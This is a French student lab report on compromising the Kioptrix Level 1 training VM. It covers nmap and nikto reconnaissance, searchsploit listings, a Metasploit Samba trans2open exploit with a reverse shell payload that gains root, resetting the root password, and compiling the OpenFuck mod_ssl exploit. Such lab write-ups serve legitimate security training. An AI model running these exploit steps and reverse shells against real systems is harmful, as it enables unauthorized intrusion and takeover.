

Compte rendu SAE CYBER Kioptrix

Installation des machines

Lien vers la machine Kioptrix 1 : https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar

Lien vers la machine Kali sur VMware : <https://kali.download/virtual-images/kali-2022.3/kali-linux-2022.3-vmware-amd64.7z>

Partie Reconnaissance :

On peut utiliser la commande `netdiscover` afin de lister les IP présentes sur notre réseau local, il sera basé sur ARP, voici que j'obtiens :

Commande à taper :

- `netdiscover`

```
192.168.255.51 00:0c:29:09:8e:67 3 180 VMware, Inc.  
192.168.255.39 f6:60:21:47:7b:24 10 600 Unknown vendor  
192.168.255.66 dc:41:a9:fd:76:09 1 60 Intel Corporate
```

Reste à savoir laquelle est notre machine, pour cela on va faire un `ipconfig` sur notre machine physique et on voit que la nôtre est en .66 et que la passerelle est en .39. Ce qui veut dire qu'on peut éliminer ces 2 adresses et il nous en reste une, celle en .51

Commande à taper :

- `ipconfig`

Carte réseau sans fil Wi-Fi :

```
Suffixe DNS propre à la connexion. . . . :  
Adresse IPv6 de liaison locale. . . . . : fe80::9b:1a18:e87d:b625%19  
Adresse IPv4. . . . . : 192.168.255.66  
Masque de sous-réseau. . . . . : 255.255.255.0  
Passerelle par défaut. . . . . : 192.168.255.39
```

Maintenant l'adresse IP identifiée, on va faire un `nmap` dessus afin de lister les ports ouverts et les services et leurs versions :

Commande à taper :

- `nmap -A -T4 192.168.255.51`

```
(kali㉿kali)-[~]
$ nmap -A -T4 192.168.255.51
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-15 03:23 EST
Nmap scan report for 192.168.255.51
Host is up (0.027s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ sshv1: Server supports SSHv1
|_ ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
|_ http-methods:
|_   Potentially risky methods: TRACE
111/tcp   open  rpcbind      2 (RPC #100000)
|_ rpcinfo:
|   program version  port/proto  service
|   100000  2          111/tcp    rpcbind
|   100000  2          111/udp    rpcbind
|   100024  1          1024/tcp   status
|_  100024  1          1026/udp   status
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after:  2010-09-26T09:32:06
|_ ssl-date: 2022-11-15T09:25:29+00:00; +1h01m51s from scanner time.
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ sslv2:
|   SSLv2 supported
|   ciphers:
|   SSL2_RC4_64_WITH_MD5
|   SSL2_DES_192_EDE3_CBC_WITH_MD5
|   SSL2_RC4_128_EXPORT40_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|   SSL2_RC2_128_CBC_WITH_MD5
|   SSL2_DES_64_CBC_WITH_MD5
|_  SSL2_RC4_128_WITH_MD5
|_ http-title: 400 Bad Request
1024/tcp  open  status       1 (RPC #100024)

Host script results:
|_ clock-skew: 1h01m50s
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.70 seconds
```

Si on résume, cela nous donne :

- Port 22 Open SSH2.9p2
- Port 80 Apache 1.3.20

- Port 139 Samba mais version inconnue
- Port 443 Apache 1.3.20 Red Hat Linux
- Port 1024 ouvert

On passe à la partie Metasploit et pour cela on va créer une base de données et la démarrer

Commande à taper :

- *systemctl start postgresql*
- *sudo msfdb init*
- *sudo msfdb start*
- *sudo msfconsole*

```
(kali㉿kali)-[~]
└─$ sudo msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

(kali㉿kali)-[~]
└─$ sudo msfdb start
[i] Database already started

(kali㉿kali)-[~]
└─$ sudo msfconsole
```

Ensuite on va créer un environnement de travail et le charger :

Commande à taper :

- *workspace -a KL1_nomdefamille*
- *workspace KL1_nomdefamille*

```
msf6 >
msf6 > workspace -a KL1_foulie
[*] Added workspace: KL1_foulie
[*] Workspace: KL1_foulie
msf6 > workspace KL1_foulie
[*] Workspace: KL1_foulie
msf6 > workspace
default
* KL1_foulie
msf6 > █
```

2ème Méthode pour lister les adresses IP.

On va chercher un scanner arp (un exploit)

Commande à taper :

- *search scanner arp*

et ici en faisant :

Commande à taper :

- *info 0*

pour voir les informations sur le premier exploit, on se rend compte que cela correspond à ce que l'on veut, à savoir lister les hôtes présents sur un réseau local grâce au protocole ARP :

```
msf6 > search scanner arp

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  auxiliary/scanner/discovery/arp_sweep      normal         No    ARP Sweep Local Network Discovery
1  auxiliary/scanner/discovery/ipv6_neighbor  normal         No    IPv6 Local Neighbor Discovery
2  auxiliary/scanner/misc/raysharp_dvr_passwords  normal         No    Ray Sharp DVR Password Retriever
3  post/windows/gather/arp_scanner            normal         No    Windows Gather ARP Scanner

Interact with a module by name or index. For example info 3, use 3 or use post/windows/gather/arp_scanner
```

On va maintenant utiliser cette exploit et définir les différents paramètres :

Commande à taper :

- *set RHOSTS* adresseip donc ici 192.168.255.51
- *set THREADS 1* (c'est ce qui est recommandé)
- *set TIMEOUT 1* (de sorte à tester les différentes IP toutes les 1 seconde)
- *run*

```
msf6 > use 0
msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.255.0/24
RHOSTS => 192.168.255.0/24

msf6 auxiliary(scanner/discovery/arp_sweep) > set THREADS 1
THREADS => 1
msf6 auxiliary(scanner/discovery/arp_sweep) > set TIMEOUT 1
TIMEOUT => 1
msf6 auxiliary(scanner/discovery/arp_sweep) > run

[+] 192.168.255.39 appears to be up (UNKNOWN).
[+] 192.168.255.51 appears to be up (VMware, Inc.).
[+] 192.168.255.66 appears to be up (UNKNOWN).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

On obtient bien le même résultat qu'avec netdiscover.

On va maintenant utiliser Nikto car nous avons vu que la machine avait un site et utilisait SMB on va donc l'utiliser pour peut-être obtenir une CVE.

Commande à taper :

- ```

sf6 > nikto -h 192.168.255.51
[*] exec: nikto -h 192.168.255.51

- Nikto v2.1.6

+ Target IP: 192.168.255.51
+ Target Hostname: 192.168.255.51
+ Target Port: 80
+ Start Time: 2022-11-15 04:11:18 (GMT-5)


+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0 and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat=/etc/hosts: A backdoor was identified.
+ 8724 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time: 2022-11-15 04:11:40 (GMT-5) (22 seconds)


+ 1 host(s) tested
55.11% - 1.11% //192.168.255.51/192.168.255.51/

```

```
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082. OSVDB-756.
```

Voici le CVE sur exploitdb ainsi que le code de l'exploit.





Apache mod\_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)

**EDB-ID:**

764

**CVE:**

2002-0082

**Author:**

SPABAM

**Type:**

REMOTE

**Platform:**

UNIX


**Date:**


2003-04-04

**EDB Verified:** ✓


**Exploit:** 📄 / {}

**Vulnerable App:** 📄





```
/*
* E-DB Note: Updated exploit ~ https://www.exploit-db.com/exploits/47080
* E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/
*
* OF version r00t VERY PRIVS spabam
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
* objdump -R /usr/sbin/httpd|grep free to get more targets
* dbstack@0x13c:~$ hexcat /dev/urandom | fold -w 4096 | xxd -ps | xxd -c 4096 | xxd -v | xxd -s 0x00000000 | xxd -e
```



## On passe à la recherche des failles

Pour trouver la version de SMB on va chercher s'il existe un exploit SMB. On voit que c'est bien le cas. On va donc voir les différentes informations sur cet exploit et définir les paramètres à utiliser.

On voit que la version de Samba utilisée est la Samba 2.2.1a.

Commande à taper :

- *search SMB version detection*
- *info 0*
- *use 0*
- *set RHOSTS adresseip* donc ici 192.168.255.51
- *set THREADS 1* c'est ce qui est recommandé
- *run*

```
msf6 > search SMB version detection

Matching Modules

Name Disclosure Date Rank Check Description
-- -
0 auxiliary/scanner/smb/smb_version normal No SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > info 0

Name: SMB Version Detection
Module: auxiliary/scanner/smb/smb_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>
Spencer McIntyre
Christophe De La Fuente

Check supported: No

Basic options:
Name Current Setting Required Description
-- -
RHOSTS 192.168.255.51 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS 1 yes The number of concurrent threads (max one per host)

Description:
Fingerprint and display version information about SMB servers.
Protocol information and host operating system (if available) will
be reported. Host operating system detection requires the remote
server to support version 1 of the SMB protocol. Compression and
encryption capability negotiation is only present in version 3.1.1.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.255.51
RHOSTS => 192.168.255.51
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 1
THREADS => 1
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.255.51:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.255.51:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.255.51: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
```

On voit que la version de Samba est la 2.2.1a

On va aussi chercher les autres exploits pour les autres logiciels (OpenSSH 2.9p2, Apache 1.3.20, rpcbind2 et Samba 2.2) :

Commande à taper :



- searchsploit OpenSSH 2.9p2
- searchsploit Apache 1.3.20
- searchsploit rpcbind 2

```
msf6 auxiliary(scanner/smb/smb_version) > searchsploit OpenSSH 2.9p2
[*] exec: searchsploit OpenSSH 2.9p2
```

| Exploit Title                                                                                | Path                        |
|----------------------------------------------------------------------------------------------|-----------------------------|
| OpenSSH 2.3 < 7.7 - Username Enumeration                                                     | linux/remote/45233.py       |
| OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                               | linux/remote/45210.py       |
| OpenSSH < 6.6 SFTP (x64) - Command Execution                                                 | linux_x86-64/remote/45000.c |
| OpenSSH < 6.6 SFTP - Command Execution                                                       | linux/remote/45001.py       |
| OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Es | linux/local/40962.txt       |
| OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                     | linux/remote/40963.txt      |
| OpenSSH < 7.7 - User Enumeration (2)                                                         | linux/remote/45939.py       |

Shellcodes: No Results

```
msf6 auxiliary(scanner/smb/smb_version) > searchsploit Apache httpd 1.3.20
[*] exec: searchsploit Apache httpd 1.3.20
```

Exploits: No Results

Shellcodes: No Results

```
msf6 auxiliary(scanner/smb/smb_version) > searchsploit Apache 1.3.20
[*] exec: searchsploit Apache 1.3.20
```

| Exploit Title                                                                                     | Path                      |
|---------------------------------------------------------------------------------------------------|---------------------------|
| Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution                                   | php/remote/29290.c        |
| Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner                                 | php/remote/29316.py       |
| Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure                                          | windows/remote/21204.txt  |
| Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access                                   | windows/remote/19975.pl   |
| Apache 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure                                       | linux/remote/132.c        |
| Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow                                        | multiple/remote/2237.sh   |
| Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow                                        | linux/dos/41769.txt       |
| Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                                  | linux/webapps/42745.py    |
| Apache CouchDB < 2.1.0 - Remote Code Execution                                                    | linux/webapps/44913.py    |
| Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                                               | multiple/dos/26710.txt    |
| Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                              | unix/remote/21671.c       |
| Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                        | unix/remote/764.c         |
| Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                        | unix/remote/47080.c       |
| Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit) | multiple/remote/41690.rb  |
| Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)                                     | multiple/remote/17691.rb  |
| Apache Tika-server < 1.18 - Command Injection                                                     | windows/remote/46540.py   |
| Apache Tomcat < 5.5.17 - Remote Directory Listing                                                 | multiple/remote/2061.txt  |
| Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal                                               | unix/remote/14489.c       |
| Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)                                         | multiple/remote/6229.txt  |
| Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Co      | jsp/webapps/42966.py      |
| Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Co      | windows/webapps/42953.txt |
| Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)                                      | linux/dos/36906.txt       |
| Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0 - 'PDF/Docx' Server Side Denial of Se      | php/dos/44057.md          |
| Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution                  | linux/remote/34.pl        |

```
msf6 > searchsploit rpcbind 2
[*] exec: searchsploit rpcbind 2
```

| Exploit Title                                             | Path               |
|-----------------------------------------------------------|--------------------|
| rpcbind - CALLIT procedure UDP Crash (PoC)                | linux/dos/26887.rb |
| Wietse Venema Rpcbind Replacement 2.1 - Denial of Service | unix/dos/20376.txt |

## Partie Exploit

Jusqu'à présent les exploits ne nous intéressent pas ou alors ne sont pas disponibles pour la version que nous cherchons. Cependant on voit que l'exploit concernant Samba 2.2 est intéressant.

On va donc se renseigner dessus et on voit que le 2 est intéressant(celui sous Linux x86).

On va paramétrer l'exploit et le lancer.

Commande à taper :

- search Samba 2.2
- info 2

- *use 2*
- *set RHOSTS adresseip* donc ici 192.168.1.51
- *set RPORT 139*



- run

```

[*] No results from search
msf6 > search Samba 2.2

Matching Modules
=====
Name Disclosure Date Rank Check Description
- -
0 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
3 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
4 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)

Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/trans2open

msf6 > search Samba 2.2.1
[-] No results from search
msf6 > search Samba 2.2

Matching Modules
=====
Name Disclosure Date Rank Check Description
- -
0 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
3 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
4 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)

Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/trans2open

msf6 > info 2

Name: Samba trans2open Overflow (Linux x86)
Module: exploit/linux/samba/trans2open
Platform: Linux
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2003-04-07

Provided by:
hdm <x@hdm.io>
jduck <jduck@metasploit.com>

Available targets:
Id Name
-- --
0 Samba 2.2.x - Bruteforce

Check supported:
No

Basic options:
Name Current Setting Required Description
-- -
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 139 The target port (TCP)

Payload information:
Space: 1024
Avoid: 1 characters

Description:
This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the noexec stack option set.
NOTE: Some older versions of RedHat do not seem to be vulnerable since they apparently do not allow anonymous access to IPC.

References:
https://nvd.nist.gov/vuln/detail/CVE-2003-0201
OSVDB (4469)
http://www.securityfocus.com/bid/7294
https://seclists.org/bugtraq/2003/Apr/103

msf6 > use 2
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.255.51
RHOSTS => 192.168.255.51
msf6 exploit(linux/samba/trans2open) > set RPORT 139
RPORT => 139
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.255.237:4444
[*] 192.168.255.51:139 - Trying return address 0xbffffdfc ...
[*] 192.168.255.51:139 - Trying return address 0xbffffcfc ...
[*] 192.168.255.51:139 - Trying return address 0xbffffbfc ...
[*] 192.168.255.51:139 - Trying return address 0xbffffafc ...
[*] Sending stage (989032 bytes) to 192.168.255.51
[*] 192.168.255.51 - Meterpreter session 1 closed. Reason: Died
[-] Meterpreter session 1 is not valid and will be closed
[*] 192.168.255.51:139 - Trying return address 0xbffff9fc ...
[*] Sending stage (989032 bytes) to 192.168.255.51
[*] 192.168.255.51 - Meterpreter session 2 closed. Reason: Died
[*] 192.168.255.51:139 - Trying return address 0xbffff8fc ...
[*] Sending stage (989032 bytes) to 192.168.255.51
[*] 192.168.255.51 - Meterpreter session 3 closed. Reason: Died
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.255.51:139 - Trying return address 0xbffff7fc ...
[*] Sending stage (989032 bytes) to 192.168.255.51
[*] 192.168.255.51 - Meterpreter session 4 closed. Reason: Died
[*] 192.168.255.51:139 - Trying return address 0xbffff6fc ...
[*] 192.168.255.51:139 - Trying return address 0xbffff5fc ...
[*] 192.168.255.51:139 - Trying return address 0xbffff4fc ...

```

```
[*] 192.168.255.51:139 - Trying return address 0xbffff3fc ...
```

Petit problème : on obtient le message indiquant "Meterpreter session 1 closed" Cela indique que metasploit n'arrive pas à établir une sessions reverse shell en utilisant la payload.

On va donc voir les différents payloads disponibles et en choisir un qui est un shell linux reverse tcp.

Commande à taper :

- *show payloads*
- *set payload 33*

```
msf6 exploit(linux/samba/trans2open) > show payloads

Compatible Payloads

Name Disclosure Date Rank Check Description
- -
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inl
ine
4 payload/generic/ssh/interact normal No Interact with Established SSH Connecti
on
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x86/adduser normal No Linux Add User
7 payload/linux/x86/chmod normal No Linux Chmod
8 payload/linux/x86/exec normal No Linux Execute Command
9 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager
(Linux x86)
10 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager
with UUID Support (Linux x86)
11 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
12 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Lin
ux x86)
13 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with
UUID Support (Linux x86)
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (
IPv6)
15 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
18 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
19 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP
Inline
20 payload/linux/x86/read_file normal No Linux Read File
21 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Sta
ger (Linux x86)
22 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Sta
ger with UUID Support (Linux x86)
23 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
24 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (
Linux x86)
25 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager w
ith UUID Support (Linux x86)
26 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stage
r (IPv6)
27 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stage
r
28 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stage
r
29 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stage
r
30 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (
IPv6)
31 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
32 payload/linux/x86/shell_bind_tcp_random_port Inline normal No Linux Command Shell, Bind TCP Random P
ort Inline
33 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inlin
e
34 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inlin
e (IPv6)
```

Ici le numéro 33 semble être ce qui nous faut. On va donc le choisir puis relancer l'exploit.

Cela fonctionne !

On peut maintenant faire un :

- *whoami*

Afin de voir quel utilisateur nous sommes et nous sommes bel et bien un utilisateur root.

On peut changer de session en utilisant :

- *su NOMUTILISATEUR*

En remplaçant NOMUTILISATEUR par le nom de la session que l'on veut utiliser.

```
msf6 exploit(linux/samba/trans2open) > set payload 33
payload => linux/x86/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.255.237:4444
[*] 192.168.255.51:139 - Trying return address 0xbffffdfc ...
[*] 192.168.255.51:139 - Trying return address 0xbffffcfc ...
[*] 192.168.255.51:139 - Trying return address 0xbffffbfc ...
[*] 192.168.255.51:139 - Trying return address 0xbffffafc ...
[*] 192.168.255.51:139 - Trying return address 0xbffff9fc ...
[*] 192.168.255.51:139 - Trying return address 0xbffff8fc ...
[*] 192.168.255.51:139 - Trying return address 0xbffff7fc ...
[*] 192.168.255.51:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 9 opened (192.168.255.237:4444 → 192.168.255.51:1033) at 2022-11-15 04:53:49 -0500

[*] Command shell session 10 opened (192.168.255.237:4444 → 192.168.255.51:1034) at 2022-11-15 04:53:50 -0500
[*] Command shell session 11 opened (192.168.255.237:4444 → 192.168.255.51:1035) at 2022-11-15 04:53:54 -0500

whoami
root
```

On peut maintenant tester de changer le mot de passe pour s'y connecter depuis notre machine physique :

Commande à taper :

- *passwd nouveaumotdepasse* en remplaçant nouveaumotdepasse par ce qu'on veut

```
whoami
root
passwd root
New password: root
BAD PASSWORD: it is too short
Retype new password: root
Changing password for user root
passwd: all authentication tokens updated successfully
```

J'ai défini un nouveau mot de passe pour root qui est root.

Test de la connexion depuis le terminal de la machine kioptrix : fonctionnel !

```
kioptrix login: root
Password:
Last login: Mon Oct 12 07:27:46 from 192.168.1.200
You have new mail.
[root@kioptrix root]#
[root@kioptrix root]#
[root@kioptrix root]#
[root@kioptrix root]#
```

## SECONDE METHODE

Comme nous l'avons vu plus haut, il existe une CVE trouvée par nikto et donc il existe un exploit sous la forme d'un fichier .c qui se nomme OpenFuckV2.c.

Dans ce programme on voit que pour le compiler il faut faire cette commande :

```
Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
```

J'ai essayé mais cela ne fonctionne pas, d'après mes recherches ce fichier n'est plus à jour, j'en ai donc cherché un autre sur github et voici celui que j'ai trouvé :

- <https://github.com/heltonWernik/OpenLuck>  
C'est le même fichier, mais à jour.

Ensuite j'ai tapé la command pour le compiler

- `gcc -o OpenFuck OpenFuck.c -lcrypto`
- `./OpenFuck 192.168.9.51` qui est ma nouvelle IP car je travaille chez moi avec une nouvelle connexion

Et voici ce que j'ai eu :

```

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *

* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

: Usage: ./OpenFuck target box [port] [-c N]

target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)
```

